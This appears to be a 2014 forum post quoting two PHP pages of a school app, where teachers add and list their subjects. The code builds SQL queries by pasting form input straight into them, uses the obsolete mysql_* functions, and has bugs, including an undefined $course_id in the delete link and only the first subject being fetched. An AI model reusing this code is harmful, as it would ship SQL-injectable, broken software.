<?php
include('header.php');
$user_query = mysql_query("select * from teacher where teacher_id='$session_id'") or die(mysql_error());
$user_row = mysql_fetch_array($user_query);
?>
<body>
<?php include('navhead_user.php'); ?>
<div class="container">
<div class="row-fluid">
<div class="span3">
<div class="hero-unit-3">
<div class="alert-index alert-success">
<i class="icon-calendar icon-large"></i>
<?php
$Today = date('y:m:d');
$new = date('l, F d, Y', strtotime($Today));
echo $new;
?>
</div>
</div>
<div class="hero-unit-1">
<ul class="nav nav-pills nav-stacked">
<li class="nav-header">Links</li>
<li>
<a href="teacher_home.php"><i class="icon-home icon-large"></i> Home
<div class="pull-right">
<i class="icon-double-angle-right icon-large"></i>
</div>
</a>
</li>
<li>
<a href="teacher_class.php"><i class="icon-group icon-large"></i> Class
<div class="pull-right">
<i class="icon-double-angle-right icon-large"></i>
</div>
</a></li>
<li class="active"><a href="teacher_subject.php"><i class="icon-file-alt icon-large"></i> Subjects
<div class="pull-right">
<i class="icon-double-angle-right icon-large"></i>
</div>
</a></li>
<li><a href="students.php"><i class="icon-group icon-large"></i> Students
<div class="pull-right">
<i class="icon-double-angle-right icon-large"></i>
</div>
</a></li>
</ul>
</div>
</div>
<div class="span9">
<a href="teacher_subject.php" class="btn btn-success"><i class="icon-arrow-left icon-large"></i> Back</a>
<br>
<br>
<div class="alert alert-info">
<button type="button" class="close" data-dismiss="alert">×</button>
<strong><i class="icon-user icon-large"></i> Add Subject</strong>
</div>
<div class="hero-unit-2">
<form class="form-horizontal" method="POST">
<div class="control-group">
<label class="control-label" for="inputEmail">Subject</label>
<div class="controls">
<select name="subject" class="span6">
<option></option>
<?php
$query = mysql_query("select * from subject") or die(mysql_error());
while ($row = mysql_fetch_array($query)) {
?>
<option value="<?php echo $row['subject_id']; ?>"><?php echo $row['subject_title']; ?></option>
<?php } ?>
</select>
</div>
</div>
<div class="control-group">
<div class="controls">
<button type="submit" name="save_subject" class="btn btn-success"><i class="icon-plus-sign icon-large"></i> Add Subject</button>
</div>
<br>
<?php
if (isset($_POST['save_subject'])) {
$subject = $_POST['subject'];
$result = mysql_query("select * from teacher_suject where teacher_id='$session_id' and subject_id='$subject'") or die(mysql_error());
$count = mysql_num_rows($result);
if ($count > 0) {
?>
<div class="alert alert-danger">Subject <strong>Already Exist</strong></div>
<?php
} else {
mysql_query("insert into teacher_suject (subject_id,teacher_id) values('$subject','$session_id')") or die(mysql_error());
header('location:teacher_subject.php');
}
}
?>
</div>
</form>
<!-- end slider -->
</div>
</div>
</div>
<?php include('footer.php'); ?>
</div>
</div>
</div>
</body>
</html>
teacher_subject.php
<?php include ('session.php'); ?>
<?php
include('header.php');
$user_query = mysql_query("select * from teacher where teacher_id='$session_id'") or die(mysql_error());
$user_row = mysql_fetch_array($user_query);
?>
<body>
<?php include('navhead_user.php'); ?>
<div class="container">
<div class="row-fluid">
<div class="span3">
<div class="hero-unit-3">
<div class="alert-index alert-success">
<i class="icon-calendar icon-large"></i>
<?php
$Today = date('y:m:d');
$new = date('l, F d, Y', strtotime($Today));
echo $new;
?>
</div>
</div>
<div class="hero-unit-1">
<ul class="nav nav-pills nav-stacked">
<li class="nav-header">Links</li>
<li>
<a href="teacher_home.php"><i class="icon-home icon-large"></i> Home
<div class="pull-right">
<i class="icon-double-angle-right icon-large"></i>
</div>
</a>
</li>
<li>
<a href="teacher_class.php"><i class="icon-group icon-large"></i> Class
<div class="pull-right">
<i class="icon-double-angle-right icon-large"></i>
</div>
</a></li>
<li class="active"><a href="teacher_subject.php"><i class="icon-file-alt icon-large"></i> Subjects
<div class="pull-right">
<i class="icon-double-angle-right icon-large"></i>
</div>
</a></li>
<li><a href="students.php"><i class="icon-group icon-large"></i> Students
<div class="pull-right">
<i class="icon-double-angle-right icon-large"></i>
</div>
</a></li>
</ul>
</div>
</div>
<div class="span9">
<a href="teacher_add_subject.php" class="btn btn-success"><i class="icon-plus-sign icon-large"></i> Add Subject</a>
<br>
<br>
<div class="hero-unit-3">
<table cellpadding="0" cellspacing="0" border="0" class="table table-striped table-bordered" id="example">
<div class="alert alert-info">
<button type="button" class="close" data-dismiss="alert">×</button>
<strong><i class="icon-user icon-large"></i> Subject Table</strong>
</div>
<thead>
<tr>
<th>Course Code</th>
<th>Course Description</th>
<th>Action</th>
</tr>
</thead>
<tbody>
<?php
$teacher_subject_query = mysql_query("select * from teacher_suject where teacher_id='$session_id'") or die(mysql_error());
$teacher_row = mysql_fetch_array($teacher_subject_query);
$subject_id = $teacher_row['subject_id'];
$query = mysql_query("select * from subject where subject_id = '$subject_id'") or die(mysql_error());
while ($row = mysql_fetch_array($query)) {
$id = $row['subject_id'];
?>
<!-- script -->
<script type="text/javascript">
$(document).ready(function(){
$('#d<?php echo $subject_id; ?>').tooltip('show')
$('#d<?php echo $subject_id; ?>').tooltip('hide')
});
</script>
<!-- end script -->
<!-- script -->
<script type="text/javascript">
$(document).ready(function(){
$('#e<?php echo $subject_id; ?>').tooltip('show')
$('#e<?php echo $subject_id; ?>').tooltip('hide')
});
</script>
<!-- end script -->
<tr class="odd gradeX">
<td><?php echo $row['subject_code']; ?></td>
<td><?php echo $row['subject_title']; ?></td>
<td width="50">
<a rel="tooltip" title="Delete Subject" id="d<?php echo $subject_id; ?>" href="#id<?php echo $id; ?>" role="button" data-toggle="modal" class="btn btn-danger"><i class="icon-trash icon-large"></i> </a>
</td>
<!-- user delete modal -->
<div id="id<?php echo $id; ?>" class="modal hide fade" tabindex="-1" role="dialog" aria-labelledby="myModalLabel" aria-hidden="true">
<div class="modal-header">
</div>
<div class="modal-body">
<div class="alert alert-danger">Are you Sure you Want to <strong>Delete</strong> this Subject?</div>
</div>
<div class="modal-footer">
<button class="btn" data-dismiss="modal" aria-hidden="true"><i class="icon-remove icon-large"></i> Close</button>
<a href="delete_teacher_course.php<?php echo '?id=' . $course_id; ?>" class="btn btn-danger"><i class="icon-trash icon-large"></i> Delete</a>
</div>
</div>
<!-- end delete modal -->
</tr>
<?php } ?>
</tbody>
</table>
<!-- end slider -->
</div>
</div>
</div>
<?php include('footer.php'); ?>
</div>
</div>
</div>
</body>
</html>
Edited by aquilina, 26 May 2014 - 04:43 PM. |
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